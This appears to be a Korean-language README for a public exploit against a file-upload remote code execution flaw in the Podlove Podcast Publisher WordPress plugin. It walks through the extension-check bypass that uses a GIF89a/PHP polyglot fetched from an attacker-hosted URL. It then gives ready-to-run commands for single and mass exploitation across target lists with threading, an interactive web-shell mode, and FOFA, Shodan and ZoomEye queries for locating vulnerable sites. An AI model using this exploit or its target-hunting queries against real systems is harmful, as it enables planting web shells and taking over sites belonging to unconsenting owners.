// 호출: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif")는 "payload.php?.gif" 반환
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION)는 "gif" 반환  <- 우회!

// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (쿼리 문자열이 제거됨!)
// pathinfo("/payload.php", PATHINFO_EXTENSION)는 "php" 반환

1. 공격자는 attacker.com/payload.php 에서 GIF89a PHP 폴리글롯을 호스팅
   (파일은 GIF89a 헤더로 시작하지만 PHP 코드 포함)

2. 익스플로잇이 URL에 ?.gif를 추가: payload.php?.gif
   그런 다음 전체 URL을 16진수로 인코딩

3. 캐시 다운로드 트리거:
   GET /?podlove_image_cache_url={16진수_인코딩_URL}&podlove_file_name=test

4. 플러그인 처리:
   a. 공격자 URL에서 파일 다운로드
   b. is_image() 콘텐츠 확인: GIF89a 헤더 감지 - 통과
   c. is_image() 확장자 확인: basename에서 "gif" 확인 - 통과
   d. extract_file_extension()이 parse_url 경로 사용: "php" 획득
   e. 파일이 test_original.php로 저장됨

5. 파일 위치:
   /wp-content/cache/podlove/{해시[:2]}/{해시[2:]}/test_original.php

6. 공격자가 매개변수와 함께 파일에 접근 -> RCE 달성

git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

-u, --url          단일 대상 URL
-f, --file         대상 URL 목록 파일 (한 줄에 하나)
-s, --shell        GIF89a PHP 폴리글롯을 호스팅하는 URL
--filename         캐시된 파일의 사용자 지정 파일 이름 (기본값: shell)
--shell-url        대화형 모드용 직접 URL
-o, --output       취약한 대상 목록 출력 파일 (대량 모드)
-t, --threads      스레드 수 (기본값: 10)
-v, --verbose      상세 출력
--debug            디버그 출력 (모든 HTTP 요청 표시)
--no-payload-test  페이로드 접근성 테스트 건너뛰기

GIF89a        <- 유효한 GIF 헤더 (exif_imagetype 검사 통과)
/*            <- 주석 시작 (GIF 바이너리 데이터는 PHP에서 주석 처리됨)

<?php         <- PHP 코드 시작
// ... 코드 ...
?>

# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"